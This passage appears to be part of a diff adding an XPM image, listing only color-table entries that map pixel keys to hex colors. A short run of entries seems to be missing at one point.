#FFFEA4", +"${ c #E1E1A5", +"%{ c #DBDFA6", +"&{ c #EAEDA7", +"*{ c #F1F5A7", +"={ c #F7FBA8", +"-{ c #FAFEA8", +";{ c #FAFFA9", +">{ c #F9FFA7", +",{ c #C2C882", +"'{ c #6C6458", +"){ c #F3E5D5", +"!{ c #FFF6DF", +"~{ c #EFE4D2", +"{{ c #F2E8D8", +"]{ c #F2E9D9", +"^{ c #F2E8D7", +"/{ c #EFE2D0", +"({ c #FFFEE6", +"_{ c #FCEED6", +":{ c #8E8575", +"<{ c #413F31", +"[{ c #383924", +"}{ c #6A6A45", +"|{ c #AAA772", +"1{ c #C9C387", +"2{ c #D9D391", +"3{ c #EAE29D", +"4{ c #F2E9A3", +"5{ c #F3EAA6", +"6{ c #F2E8A6", +"7{ c #EAE0A5", +"8{ c #F3ECA4", +"9{ c #F4EDA3", +"0{ c #FBF0B7", +"a{ c #C4BF8D", +"b{ c #736A54", +"c{ c #E4CAA6", +"d{ c #E8D0AA", +"e{ c #E2CAA4", +"f{ c #DDC396", +"g{ c #F4D199", +"h{ c #60553F", +"i{ c #44422F", +"j{ c #887B62", +"k{ c #DFD885", +"l{ c #F8EF93", +"m{ c #D4BF90", +"n{ c #E1CB8E", +"o{ c #E5CC8C", +"p{ c #E1C98B", +"q{ c #D6C089", +"r{ c #BDA888", +"s{ c #C8BB86", +"t{ c #FFFC84", +"u{ c #FBF583", +"v{ c #D4C681", +"w{ c #BBA27F", +"x{ c #D6B87E", +"y{ c #E2BF7B", +"z{ c #E6BF7A", +"A{ c #E1BB78", +"B{ c #DBB776", +"C{ c #D1AB74", +"D{ c #CBA778", +"E{ c #D0A16F", +"F{ c #C27026", +"G{ c #6F3711", +"H{ c #461923", +"I{ c #602D19", +"J{ c #CC671D", +"K{ c #FFE25C", +"L{ c #FBFF71", +"M{ c #F9FE6B", +"N{ c #F9FE6D", +"O{ c #F9FE6F", +"P{ c #F6FC76", +"Q{ c #F1F677", +"R{ c #EAEE7A", +"S{ c #E1E47B", +"T{ c #CCD27D", +"U{ c #EFEC7E", +"V{ c #FFFD81", +"W{ c #CFD182", +"X{ c #CBCF83", +"Y{ c #D7DA86", +"Z{ c #DADD87", +"`{ c #DCDE89", +" ] c #DCDF8A", +".] c #DDDF8C", +"+] c #DDE08D", +"@] c #DEE18F", +"#] c #DDE190", +"$] c #E0E392", +"%] c #E5E893", +"&] c #FFFFA3", +"*] c #989C63", +"=] c #A09385", +"-] c #FFEFD0", +";] c #E7D7BB", +">] c #FFF7D9", +",] c #C9B7A5", +"'] c #343526", +")] c #7B7E55", +"!] c #B3B57F", +"~] c #DADC9C", +"{] c #DADDA3", +"]] c #C5C9A1", +"^] c #F1EDA2", +"/] c #F9F7A3", +"(] c #D5D9A3", +"_] c #E3E6A4", +":] c #ECF0A5", +"<] c #F3F7A5", +"[] c #F6FAA6", +"}] c #F8FCA6", +"|] c #F5FBA4", +"1] c #FFFFBB", +"2] c #D4D98D", +"3] c #726D58", +"4] c #E8DBCF", +"5] c #FFF7DF", +"6] c #FFFFEA", +"7] c #DED3BD", +"8] c #4F4B3E", +"9] c #272917", +"0] c #686845", +"a] c #A29F6F", +"b] c #C5C185", +"c] c #E0DB97", +"d] c #F2ECA1", +"e] c #FAF1A6", +"f] c #FCF3A6", +"g] c #F9F0A5", +"h] c #F4EBA4", +"i] c #EFE6A2", +"j] c #E7DDA1", +"k] c #F1E8A0", +"l] c #F0E99F", +"m] c #D8CD9C", +"n] c #FFF7B6", +"o] c #9D976F", +"p] c #95846D", +"q] c #FBE1B9", +"r] c #E3CCA8", +"s] c #DFC79E", +"t] c #FCD9A1", +"u] c #907C5C", +"v] c #333123", +"w] c #756952", +"x] c #BEB676", +"y] c #FDF78E", +"z] c #DBC88F", +"A] c #DCC58C", +"B] c #E2CA8A", +"C] c #DFC789", +"D] c #D6BF87", +"E] c #BBA785", +"F] c #C6B984", +"G] c #FFFB83", +"H] c #FEF880", +"I] c #DBCE7F", +"J] c #B79E7D", +"K] c #D3B67B", +"L] c #DFBC7A", +"M] c #E3BD78", +"N] c #E0BA76", +"O] c #DAB374", +"P] c #D4AC72", +"Q] c #D5B176", +"R] c #DCAF6E", +"S] c #CA7527", +"T] c #713812", +"U] c #471923", +"V] c #FFE25B", +"W] c #FBFF6F", +"X] c #F9FE69", +"Y] c #F8FE72", +"Z] c #F4FA74", +"`] c #ECF176", +" ^ c #E3E778", +".^ c #CED479", +"+^ c #DCDB7B", +"@^ c #DAD97F", +"#^ c #BFC480", +"$^ c #D0D282", +"%^ c #D3D684", +"&^ c #D3D685", +"*^ c #D2D786", +"=^ c #D2D788", +"-^ c #D5D98A", +";^ c #D7DB8B", +">^ c #DBDF8C", +",^ c #E0E38E", +"'^ c #E4E78F", +")^ c #E7EB90", +"!^ c #95985F", +"~^ c #A49689", +"{^ c #FFF0D1", +"]^ c #EBDCC2", +"^^ c #EDDCC2", +"/^ c #FFFDE1", +"(^ c #6A6457", +"_^ c #363A23", +":^ c #91936A", +"<^ c #BABD8E", +"[^ c #CCCFA0", +"}^ c #DBDCA0", +"|^ c #F7F6A0", +"1^ c #FFFFA0", +"2^ c #E9E9A1", +"3^ c #D3D8A2", +"4^ c #E4E8A2", +"5^ c #EDF0A3", +"6^ c #F0F4A3", +"7^ c #EFF4A2", +"8^ c #FFFFB1", +"9^ c #E4E999", +"0^ c #6D6C50", +"a^ c #D6C9C2", +"b^ c #FFFBE3", +"c^ c #EEE2D0", +"d^ c #F2E8D6", +"e^ c #F2E7D7", +"f^ c #EFE1D0", +"g^ c #FFFFE8", +"h^ c #DAD0BB", +"i^ c #302D23", +"j^ c #404224", +"k^ c #84825B", +"l^ c #A6A475", +"m^ c #D4D090", +"n^ c #F1EBA1", +"o^ c #FBF4A6", +"p^ c #FCF4A5", +"q^ c #F9F2A4", +"r^ c #F8EFA2", +"s^ c #F5ECA1", +"t^ c #F1E7A0", +"u^ c #EDE39F", +"v^ c #E5DA9E", +"w^ c #F1E99D", +"x^ c #F1EA9C", +"y^ c #DACF9B", +"z^ c #ECE0A5", +"A^ c #B4AE7B", +"B^ c #867B60", +"C^ c #F9DFB9", +"D^ c #E4CEAB", +"E^ c #E3CAA4", +"F^ c #F3D3A0", +"G^ c #B69C72", +"H^ c #3F3A29", +"I^ c #675D45", +"J^ c #A59A6A", +"K^ c #F8F489", +"L^ c #E2D18D", +"M^ c #D7BF8A", +"N^ c #DFC788", +"O^ c #DCC487", +"P^ c #D3BC85", +"Q^ c #B8A384", +"R^ c #CCC082", +"S^ c #FFFE81", +"T^ c #FFFC7F", +"U^ c #CCBD7D", +"V^ c #B69D7B", +"W^ c #D2B37A", +"X^ c #DDBA78", +"Y^ c #DFBA76", +"Z^ c #D6AE74", +"`^ c #D7B073", +" / c #DDBC71", +"./ c #D7B573", +"+/ c #D9A66D", +"@/ c #CD7628", +"#/ c #733812", +"$/ c #4E201E", +"%/ c #FFE25A", +"&/ c #FBFF6D", +"*/ c #F8FE67", +"=/ c #F9FF6E", +"-/ c #F8FD70", +";/ c #F1F672", +">/ c #E6EB74", +",/ c #D8DD76", +"'/ c #C8CC77", +")/ c #FEF979", +"!/ c #F7F27B", +"~/ c #B8BC7C", +"{/ c #C3C67E", +"]/ c #C4C880", +"^/ c #C9CD82", +"// c #D8DA83", +"(/ c #E3E484", +"_/ c #ECEA86", +":/ c #EBE988", +"( c #FFE258", +",( c #FBFF6B", +"'( c #F8FE66", +")( c #F8FE68", +"!( c #FAFF6D", +"~( c #F6FC6F", +"{( c #EDF271", +"]( c #E1E572", +"^( c #C9CE74", +"/( c #D4D376", +"(( c #FFFF77", +"_( c #D6D479", +":( c #AAAF7B", +"<( c #B2B67C", +"[( c #C6C87E", +"}( c #F1EF80", +"|( c #FFFC83", +"1( c #FCF584", +"2( c #F6F186", +"3( c #F8F487", +"4( c #D9DD8B", +"5( c #E2E78C", +"6( c #A5A369", +"7( c #CDBBAE", +"8( c #F9EBD4", +"9( c #F0E4D1", +"0( c #F0E5D2", +"a( c #F6E7D2", +"b( c #FFF3DA", +"c( c #555148", +"d( c #3E412C", +"e( c #AEAA67", +"f( c #FBF38C", +"g( c #EDEC9C", +"h( c #CFD09C", +"i( c #C4C89C", +"j( c #D6D99C", +"k( c #F9F69D", +"l( c #F7F49E", +"m( c #DEE19E", +"n( c #DADF9E", +"o( c #898E59", +"p( c #9D908D", +"q( c #FFFFEE", +"r( c #EDDFCA", +"s( c #FFF2DC", +"t( c #FFFFED", +"u( c #F6ECD6", +"v( c #51493F", +"w( c #32341C", +"x( c #767653", +"y( c #A3A16D", +"z( c #DCD891", +"A( c #EBE7A1", +"B( c #F2EDA2", +"C( c #F3ED9F", +"D( c #F5EE9E", +"E( c #F7EF9E", +"F( c #F7EE9D", +"G( c #F6ED9C", +"H( c #F3E99C", +"I( c #EFE49B", +"J( c #EBE09A", +"K( c #E3D79A", +"L( c #F4EC99", +"M( c #EBE298", +"N( c #D8CC96", +"O( c #FDEFAA", +"P( c #9D9569", +"Q( c #978870", +"R( c #FEE6BF", +"S( c #E5D1B0", +"T( c #E4CEAA", +"U( c #F3D6A5", +"V( c #B79E75", +"W( c #423C29", +"X( c #645C3E", +"Y( c #8E7F60", +"Z( c #EAE282", +"`( c #F5E98A", +" _ c #D0B886", +"._ c #D8C084", +"+_ c #D3BC83", +"@_ c #CAB481", +"#_ c #AC9980", +"$_ c #E3D97E", +"%_ c #F6EE7B", +"&_ c #B6A279", +"*_ c #BDA478", +"=_ c #CFB176", +"-_ c #CFA874", +";_ c #E3C773", +">_ c #F6EA71", +",_ c #D5B66F", +"'_ c #CEA86D", +")_ c #D4B470", +"!_ c #F7DF69", +"~_ c #D18127", +"{_ c #703412", +"]_ c #612D19", +"^_ c #CC671E", +"/_ c #FFE257", +"(_ c #FBFF6A", +"__ c #F8FE64", +":_ c #F8FE6A", +"<_ c #F9FF6B", +"[_ c #F5FB6C", +"}_ c #EAEE6E", +"|_ c #DBE070", +"1_ c #C1C672", +"2_ c #E7E373", +"3_ c #FFFF75", +"4_ c #B3B677", +"5_ c #A1A679", +"6_ c #D6D57A", +"7_ c #FFFD7C", +"8_ c #FCF97E", +"9_ c #E8E77F", +"0_ c #DBDC81", +"a_ c #D3D682", +"b_ c #D2D684", +"c_ c #D5D985", +"d_ c #E6E786", +"e_ c #F8F589", +"f_ c #DEE18B", +"g_ c #E4ED86", +"h_ c #A4A170", +"i_ c #DECCC1", +"j_ c #F5E9D5", +"k_ c #F0E5D4", +"l_ c #A09689", +"m_ c #3D3D1C", +"n_ c #A09B56", +"o_ c #BEBD7C", +"p_ c #C4C897", +"q_ c #D0D39B", +"r_ c #D9DB9A", +"s_ c #D4D89A", +"t_ c #CCD29B", +"u_ c #F0EF9B", +"v_ c #FFFC99", +"w_ c #FFFFB0", +"x_ c #B2B572", +"y_ c #7F7671", +"z_ c #FFF8E9", +"A_ c #F8ECD6", +"B_ c #E1D3C3", +"C_ c #AEA495", +"D_ c #AEA498", +"E_ c #BBB2A8", +"F_ c #AEA89C", +"G_ c #5B5547", +"H_ c #404225", +"I_ c #7E7D54", +"J_ c #9A996A", +"K_ c #D1CE8B", +"L_ c #F4EF9D", +"M_ c #EDE89F", +"N_ c #EEE99D", +"O_ c #F4ED9C", +"P_ c #F7EE9B", +"Q_ c #F5EB9A", +"R_ c #F2E799", +"S_ c #EEE399", +"T_ c #E8DD98", +"U_ c #E7DC97", +"V_ c #F5ED96", +"W_ c #E0D695", +"X_ c #E0D497", +"Y_ c #E3D794", +"Z_ c #867C5C", +"`_ c #D6BFA0", +" : c #EDD8B7", +".: c #E7D3B2", +"+: c #E5CFAB", +"@: c #F8DBA8", +"#: c #AE966F", +"$: c #3B3624", +"%: c #685E3F", +"&: c #908160", +"*: c #EBE380", +"=: c #F4E887", +"-: c #CDB584", +";: c #D3BC82", +">: c #CCB681", +",: c #BCA87F", +"': c #B3A27D", +"): c #F7F07C", +"!: c #FFFF7B", +"~: c #E4DA79", +"{: c #AB9477", +"]: c #C4A976", +"^: c #CEAE74", +"/: c #D3AF73", +"(: c #F4E670", +"_: c #D6BA6F", +":: c #C0986D", +"<: c #C49D6B", +"[: c #D8BD6E", +"}: c #F6DD68", +"|: c #C77426", +"1: c #6F3513", +"2: c #FFE256", +"3: c #FBFF67", +"4: c #F8FE62", +"5: c #F8FF69", +"6: c #F3F96B", +"7: c #E7EC6D", +"8: c #D6DB6F", +"9: c #C1C570", +"0: c #FAF372", +"a: c #F5EC74", +"b: c #A2A575", +"c: c #E4E177", +"d: c #FFFF78", +"e: c #E4E37A", +"f: c #CBCE7B", +"g: c #CDD27D", +"h: c #D5D97E", +"i: c #DCE07F", +"j: c #DEE281", +"k: c #DBDF82", +"l: c #D2D784", +"m: c #FDF887", +"n: c #FBF98C", +"o: c #BFC772", +"p: c #8F896C", +"q: c #F6E4D4", +"r: c #F3E8D6", +"s: c #F4EADB", +"t: c #F4EBDC", +"u: c #F3E9D9", +"v: c #FFFAE5", +"w: c #CDC1B1", +"x: c #4A4729", +"y: c #717043", +"z: c #8C8F6C", +"A: c #C9CC90", +"B: c #DEE199", +"C: c #DCE097", +"D: c #D6DB98", +"E: c #DFE098", +"F: c #EBE997", +"G: c #F7F6A6", +"H: c #D1D485", +"I: c #7B755A", +"J: c #E9E1DB", +"K: c #FFFDE7", +"L: c #FFFFF1", +"M: c #A7A195", +"N: c #3C3C2D", +"O: c #363720", +"P: c #545333", +"Q: c #5E5F45", +"R: c #636341", +"S: c #868754", +"T: c #A9A770", +"U: c #B1B075", +"V: c #EAE59A", +"W: c #F8F39D", +"X: c #EBE59B", +"Y: c #EDE79B", +"Z: c #F1EA9A", +"`: c #F4EC9A", +" < c #F7ED99", +".< c #F7EC98", +"+< c #F4E998", +"@< c #F0E597", +"#< c #ECE196", +"$< c #E3D695", +"%< c #EEE494", +"&< c #F4ED94", +"*< c #D7CA91", +"=< c #FFF0A7", +"-< c #928A5D", +";< c #8B7B67", +">< c #FFECC5", +",< c #E6D3B4", +"'< c #E8D4B5", +")< c #FFE0AC", +"!< c #8A7859", +"~< c #302D1D", +"{< c #6E6342", +"]< c #968562", +"^< c #EFE780", +"/< c #F7EC85", +"(< c #C9B282", +"_< c #CCB680", +":< c #C5B17E", +"<< c #A8947D", +"[< c #CBBE7C", +"}< c #FFFF7A", +"|< c #FFFF79", +"1< c #C7B877", +"2< c #AF9575", +"3< c #CAAC74", +"4< c #CEAA72", +"5< c #E0C371", +"6< c #F3E56F", +"7< c #C19B6D", +"8< c #C3A06B", +"9< c #C09B69", +"0< c #DAC36C", +"a< c #DEB765", +"b< c #BB6625", +"c< c #6F3712", +"d< c #FFE254", +"e< c #FAFF65", +"f< c #F8FE60", +"g< c #F9FE65", +"h< c #F8FF67", +"i< c #F2F969", +"j< c #E5EB6B", +"k< c #D4DA6D", +"l< c #C4C86E", +"m< c #F9F170", +"n< c #F3EE72", +"o< c #EFEB73", +"p< c #FDF775", +"q< c #C8CB76", +"r< c #C2C778", +"s< c #D7DC79", +"t< c #E0E47B", +"u< c #E4E87C", +"v< c #E6EA7D", +"w< c #E6EB7F", +"x< c #E4E980", +"y< c #E1E582", +"z< c #D5DB83", +"A< c #D7DA84", +"B< c #FFFF90", +"C< c #B8B85E", +"D< c #827C6E", +"E< c #F4EBDD", +"F< c #F5ECDE", +"G< c #F4EADC", +"H< c #FFF6E1", +"I< c #D9CCBB", +"J< c #424030", +"K< c #4B4D37", +"L< c #858862", +"M< c #C8CB89", +"N< c #E0E496", +"O< c #D9DE95", +"P< c #E3E595", +"Q< c #F6F295", +"R< c #DBDE99", +"S< c #DCE49D", +"T< c #6B6D4D", +"U< c #BDB2B0", +"V< c #FFFFF5", +"W< c #90897E", +"X< c #282915", +"Y< c #545635", +"Z< c #85865F", +"`< c #BEBC79", +" [ c #DBD98A", +".[ c #DEDD94", +"+[ c #DEDB90", +"@[ c #DAD78D", +"#[ c #E2DF91", +"$[ c #FBF7A4", +"%[ c #FFFFA6", +"&[ c #F6F19B", +"*[ c #FFFAA1", +"=[ c #FEF49C", +"-[ c #F7ED97", +";[ c #F3E896", +">[ c #EEE295", +",[ c #E9DE94", +"'[ c #E0D493", +")[ c #F4EC93", +"![ c #E7DE90", +"~[ c #F3E4A0", +"{[ c #C2B87A", +"][ c #6D624C", +"^[ c #EED6B3", +"/[ c #EEDBBB", +"([ c #E9D7B9", +"_[ c #E5CEAA", +":[ c #F9D9A5", +"<[ c #6B5E45", +"[[ c #35321F", +"}[ c #726645", +"|[ c #9C8A66", +"1[ c #F4EB80", +"2[ c #F7EC83", +"3[ c #C1AB80", +"4[ c #C3B07E", +"5[ c #B5A27C", +"6[ c #A7967B", +"7[ c #F2EB7A", +"8[ c #F6EE77", +"9[ c #B49F75", +"0[ c #BEA273", +"a[ c #D0AF72", +"b[ c #D5B070", +"c[ c #D2AB6F", +"d[ c #F9EC6D", +"e[ c #E0CB6B", +"f[ c #B2896A", +"g[ c #B89467", +"h[ c #B48D6A", +"i[ c #BE8B64", +"j[ c #BD6E24", +"k[ c #6C3612", +"l[ c #451922", +"m[ c #FFE253", +"n[ c #FAFF64", +"o[ c #F7FE5F", +"p[ c #F8FE61", +"q[ c #F9FE64", +"r[ c #F8FF65", +"s[ c #F2F967", +"t[ c #E7EC69", +"u[ c #D6DC6A", +"v[ c #CACE6C", +"w[ c #F5EE6E", +"x[ c #FFFF70", +"y[ c #F5F171", +"z[ c #BBBF73", +"A[ c #C1C674", +"B[ c #DADE76", +"C[ c #E4E977", +"D[ c #E9EE79", +"E[ c #ECF27A", +"F[ c #EFF47C", +"G[ c #EEF37D", +"H[ c #ECF07F", +"I[ c #E5EA7F", +"J[ c #DFE381", +"K[ c #CED482", +"L[ c #FFFE90", +"M[ c #C2BC59", +"N[ c #9F9487", +"O[ c #FFFEE9", +"P[ c #F3EADB", +"Q[ c #F5ECDF", +"R[ c #F5EDE0", +"S[ c #F5ECDD", +"T[ c #FFFBE6", +"U[ c #D4C8B5", +"V[ c #32312A", +"W[ c #494B38", +"X[ c #86885E", +"Y[ c #C6CA85", +"Z[ c #DDE293", +"`[ c #E0E493", +" } c #F7F393", +".} c #D4D791", +"+} c #F0F6A7", +"@} c #9A9B57", +"#} c #9B9089", +"$} c #FFFFF8", +"%} c #FFFFF6", +"&} c #9B9488", +"*} c #2B2E14", +"=} c #656743", +"-} c #82825C", +";} c #A9AA7B", +">} c #DFDD92", +",} c #F7F399", +"'} c #E7E69A", +")} c #EEEB98", +"!} c #F5F39D", +"~} c #FFFFA8", +"{} c #BDBC74", +"]} c #989463", +"^} c #A8A473", +"/} c #A19B72", +"(} c #9F9967", +"_} c #99955A", +":} c #D6CF7C", +"<} c #F5EA95", +"[} c #F1E694", +"}} c #ECE193", +"|} c #E3D692", +"1} c #E9DF91", +"2} c #F6EE8E", +"3} c #EFE19A", +"4} c #DFD38B", +"5} c #605940", +"6} c #C9B499", +"7} c #FFEBC6", +"8} c #E8D6BB", +"9} c #E9D2AA", +"0} c #E4C696", +"a} c #594F37", +"b} c #4C452A", +"c} c #776A48", +"d} c #A6946C", +"e} c #FCF580", +"f} c #ECE080", +"g} c #B6A17E", +"h} c #B9A87C", +"i} c #9B8A7A", +"j} c #CCBF79", +"k} c #FFFF76", +"l} c #D7C975", +"m} c #AE9473", +"n} c #CBAD72", +"o} c #D6B370", +"p} c #DCB56E", +"q} c #D1A76C", +"r} c #D7B86B", +"s} c #FDF669", +"t} c #E5D468", +"u} c #C4A866", +"v} c #C7AD68", +"w} c #E6CC62", +"x} c #BB7322", +"y} c #652E11", +"z} c #441822", +"A} c #FFE252", +"B} c #FAFF61", +"C} c #F7FE5D", +"D} c #F9FE62", +"E} c #F8FF64", +"F} c #F3F965", +"G} c #EAEF67", +"H} c #DDE369", +"I} c #CFD46B", +"J} c #FCF46C", +"K} c #F0EC6E", +"L} c #BEC36F", +"M} c #C8CE71", +"N} c #DBDF72", +"O} c #E5EA74", +"P} c #EEF375", +"Q} c #F2F777", +"R} c #F4F978", +"S} c #F3F87B", +"T} c #E7EB7E", +"U} c #D2D680", +"V} c #E9EC8A", +"W} c #ACA85F", +"X} c #C4B5A9", +"Y} c #FFF5E2", +"Z} c #F5EDE1", +"`} c #FFFFEC", +" | c #C3B8A7", +".| c #282820", +"+| c #50533D", +"@| c #85885E", +"#| c #C6CA84", +"$| c #D7DC91", +"%| c #F2F090", +"&| c #E4E48F", +"*| c #E6EDA2", +"=| c #CDCE6F", +"-| c #7E7561", +";| c #F5EEEA", +">| c #C9BFB5", +",| c #36371F", +"'| c #61643E", +")| c #787953", +"!| c #B6B577", +"~| c #D4D591", +"{| c #F4F097", +"]| c #F0EC96", +"^| c #E5E394", +"/| c #F5F29B", +"(| c #FFFD9D", +"_| c #99995E", +":| c #7E7668", +"<| c #B7ACA2", +"[| c #CDC0B3", +"}| c #CEBEAD", +"|| c #BEAF9D", +"1| c #93897B", +"2| c #746D56", +"3| c #8A854D", +"4| c #DED483", +"5| c #E6DA8D", +"6| c #E7DC90", +"7| c #DFD190", +"8| c #F4ED8D", +"9| c #FCF297", +"0| c #E8D991", +"a| c #655E3F", +"b| c #B19F88", +"c| c #FFF1CB", +"d| c #E7D7BC", +"e| c #EAD8BD", +"f| c #E6D2B2", +"g| c #FFE4B2", +"h| c #B09974", +"i| c #332E1E", +"j| c #655B39", +"k| c #7D6E50", +"l| c #BBAB72", +"m| c #D0C17D", +"n| c #AD9C7B", +"o| c #9B8B7A", +"p| c #A79878", +"q| c #FBF677", +"r| c #F9F274", +"s| c #B09B73", +"t| c #BEA171", +"u| c #D4B370", +"v| c #DDB76E", +"w| c #E1B76C", +"x| c #DEB56B", +"y| c #C99F69", +"z| c #C9A667", +"A| c #E8D966", +"B| c #FDF864", +"C| c #FFFF67", +"D| c #FFFC60", +"E| c #AF6921", +"F| c #5F2A10", +"G| c #4C201D", +"H| c #FFE251", +"I| c #FAFF5F", +"J| c #F7FE5B", +"K| c #F8FF62", +"L| c #F4FB64", +"M| c #EEF465", +"N| c #E6EC67", +"O| c #DBE169", +"P| c #E6E66A", +"Q| c #D6D86C", +"R| c #D1D76D", +"S| c #E0E46F", +"T| c #E6EB70", +"U| c #EEF472", +"V| c #F4F973", +"W| c #F4F975", +"X| c #F4F976", +"Y| c #F1F777", +"Z| c #EEF479", +"`| c #EAEF7A", +" 1 c #E3E87B", +".1 c #DBDE7D", +"+1 c #D3D67E", +"@1 c #C6CD78", +"#1 c #7C7959", +"$1 c #E0CFC1", +"%1 c #F9EEDD", +"&1 c #F5EDE2", +"*1 c #FFFFF4", +"=1 c #ABA191", +"-1 c #222517", +";1 c #9D9D63", +">1 c #C9CD85", +",1 c #DBDD8F", +"'1 c #EAE88D", +")1 c #D6DB94", +"!1 c #EDEE87", +"~1 c #7F794C", +"{1 c #D4CCCF", +"]1 c #FFFFF9", +"^1 c #F1EAE1", +"/1 c #5B5845", +"(1 c #4D5129", +"_1 c #74744C", +":1 c #B3B16B", +"<1 c #E5E28C", +"[1 c #F3EF93", +"}1 c #DDDC92", +"|1 c #EAE792", +"11 c #FFFF9C", +"21 c #919058", +"31 c #897E7A", +"41 c #FFF4DE", +"51 c #FFF5D6", +"61 c #F4E3C5", +"71 c #FBEACA", +"81 c #FFFCD8", +"91 c #70655B", +"01 c #5C5932", +"a1 c #B7AF6E", +"b1 c #CBBF81", +"c1 c #EDE48B", +"d1 c #FFFC95", +"e1 c #EBDD8F", +"f1 c #6D6643", +"g1 c #A89681", +"h1 c #FFF0CC", +"i1 c #E9D8BD", +"j1 c #EDDCC3", +"k1 c #EAD7BB", +"l1 c #E6D1AD", +"m1 c #FFE1AB", +"n1 c #6D5F46", +"o1 c #332F1B", +"p1 c #6F6340", +"q1 c #85745C", +"r1 c #DACE78", +"s1 c #FFFF7E", +"t1 c #B3A57A", +"u1 c #9D9078", +"v1 c #EFE976", +"w1 c #FFFF73", +"x1 c #C0AE72", +"y1 c #B09470", +"z1 c #D1B16F", +"A1 c #DCB66D", +"B1 c #E3BA6C", +"C1 c #E5B96A", +"D1 c #E2B769", +"E1 c #D9B067", +"F1 c #C69D66", +"G1 c #B28764", +"H1 c #C6A962", +"I1 c #FFFF65", +"J1 c #EED95E", +"K1 c #9E5420", +"L1 c #633010", +"M1 c #A24800", +"N1 c #CC671F", +"O1 c #FFE250", +"P1 c #F8FF5D", +"Q1 c #F7FE59", +"R1 c #F7FE5E", +"S1 c #F7FF60", +"T1 c #F5FC61", +"U1 c #F1F763", +"V1 c #EDF365", +"W1 c #E8EE67", +"X1 c #DDE468", +"Y1 c #DFE56A", +"Z1 c #E7EC6B", +"`1 c #EBF06C", +" 2 c #EEF46E", +".2 c #F1F76F", +"+2 c #F2F871", +"@2 c #F0F672", +"#2 c #EDF274", +"$2 c #E9EE75", +"%2 c #E6EA76", +"&2 c #E1E678", +"*2 c #D8DE79", +"=2 c #CDD27A", +"-2 c #CFD381", +";2 c #9DA560", +">2 c #88816A", +",2 c #FFF1DD", +"'2 c #F4EADA", +")2 c #F5ECE1", +"!2 c #7C7564", +"~2 c #393914", +"{2 c #7B7946", +"]2 c #B7B469", +"^2 c #EBE886", +"/2 c #FEFC8C", +"(2 c #E2E28A", +"_2 c #E2E997", +":2 c #92904A", +"<2 c #ABA0A0", +"[2 c #FFFFFB", +"}2 c #A49B8E", +"|2 c #353915", +"12 c #707146", +"22 c #9D9A5A", +"32 c #D1D080", +"42 c #D7D891", +"52 c #EFEC91", +"62 c #F5F08F", +"72 c #DFDD8E", +"82 c #AAAA60", +"92 c #807770", +"02 c #F1E1C5", +"a2 c #F0E1C6", +"b2 c #FFFFE7", +"c2 c #EDDEC4", +"d2 c #E8D9BE", +"e2 c #F8E7C6", +"f2 c #FFF7D5", +"g2 c #62584C", +"h2 c #4A4728", +"i2 c #B2AA68", +"j2 c #F2EA87", +"k2 c #F0E38C", +"l2 c #716844", +"m2 c #9F9180", +"n2 c #FFF3D0", +"o2 c #EDDDC4", +"p2 c #EDDDC5", +"q2 c #E4D1B3", +"r2 c #FFE9B7", +"s2 c #B8A17A", +"t2 c #2C2819", +"u2 c #615634", +"v2 c #756849", +"w2 c #948569", +"x2 c #FDF77B", +"y2 c #807578", +"z2 c #8C8077", +"A2 c #EBE575", +"B2 c #FFFF74", +"C2 c #CBBB72", +"D2 c #A78E70", +"E2 c #CAAB6E", +"F2 c #D9B46D", +"G2 c #E2B96B", +"H2 c #E8BB6A", +"I2 c #E8BA68", +"J2 c #E5B766", +"K2 c #DDB065", +"L2 c #D1A864", +"M2 c #C59E62", +"N2 c #AA8160", +"O2 c #F2E763", +"P2 c #EFD95C", +"Q2 c #9B5020", +"R2 c #643210", +"S2 c #FFE24F", +"T2 c #F8FF5C", +"U2 c #F6FE58", +"V2 c #F7FE5A", +"W2 c #F7FE5C", +"X2 c #F5FE60", +"Y2 c #F3FB61", +"Z2 c #F1F863", +"`2 c #EFF664", +" 3 c #EDF366", +".3 c #EDF368", +"+3 c #EEF569", +"@3 c #F0F66B", +"#3 c #F0F66C", +"$3 c #EFF56E", +"%3 c #ECF26F", +"&3 c #E8EE71", +"*3 c #E4E971", +"=3 c #DDE273", +"-3 c #D2D975", +";3 c #D0D676", +">3 c #D5D977", +",3 c #DADC78", +"'3 c #EDEF83", +")3 c #ABAB55", +"!3 c #AA9E8D", +"~3 c #F5EDE3", +"{3 c #FBF1E1", +"]3 c #FBEDDA", +"^3 c #524F41", +"/3 c #3D4020", +"(3 c #717349", +"_3 c #AAAE6E", +":3 c #D8DB86", +"<3 c #ECEC88", +"[3 c #FFFF97", +"}3 c #BDBD63", +"|3 c #847D72", +"13 c #FFFDF4", +"23 c #FFFBE8", +"33 c #EAE1D7", +"43 c #4F4E37", +"53 c #5A5D2F", +"63 c #82804B", +"73 c #BEBB70", +"83 c #D2D38A", +"93 c #DADA8F", +"03 c #EAE78D", +"a3 c #EFEB8D", +"b3 c #E3E18E", +"c3 c #EBEA88", +"d3 c #847F5F", +"e3 c #E3D2C7", +"f3 c #F9ECCF", +"g3 c #F2E6CC", +"h3 c #FBEED7", +"i3 c #A1988C", +"j3 c #C0B6AA", +"k3 c #FFF6E2", +"l3 c #F0E1CB", +"m3 c #FFF1D2", +"n3 c #E2CFB8", +"o3 c #3D3A27", +"p3 c #898544", +"q3 c #ADA35F", +"r3 c #67603E", +"s3 c #A39787", +"t3 c #FFF5D5", +"u3 c #EDDDC3", +"v3 c #ECDDC6", +"w3 c #EEDEC7", +"x3 c #ECDCC3", +"y3 c #E7D5B9", +"z3 c #F5DEB4", +"A3 c #F4D8A5", +"B3 c #4E4633", +"C3 c #3F3A20", +"D3 c #6F6441", +"E3 c #7C6D5B", +"F3 c #CCC173", +"G3 c #948A78", +"H3 c #897F76", +"I3 c #E9E475", +"J3 c #FFFF72", +"K3 c #D3C670", +"L3 c #A38A6F", +"M3 c #C4A66E", +"N3 c #D6B36C", +"O3 c #E1B86B", +"P3 c #E7BB69", +"Q3 c #EABB68", +"R3 c #EABB66", +"S3 c #E8B865", +"T3 c #E0B164", +"U3 c #D5A961", +"V3 c #CAA160", +"W3 c #B2875E", +"X3 c #E5D561", +"Y3 c #F2DE5B", +"Z3 c #A05421", +"`3 c #643110", +" 4 c #FFE24D", +".4 c #F8FF5A", +"+4 c #F6FE56", +"@4 c #F6FE59", +"#4 c #F6FD60", +"$4 c #F4FB63", +"%4 c #F3FA64", +"&4 c #F3FA66", +"*4 c #F0F769", +"=4 c #EDF46A", +"-4 c #E9F06B", +";4 c #E5EA6D", +">4 c #DCE26E", +",4 c #D0D770", +"'4 c #D3D871", +")4 c #E5E572", +"!4 c #F2EF74", +"~4 c #FEF775", +"{4 c #FEF776", +"]4 c 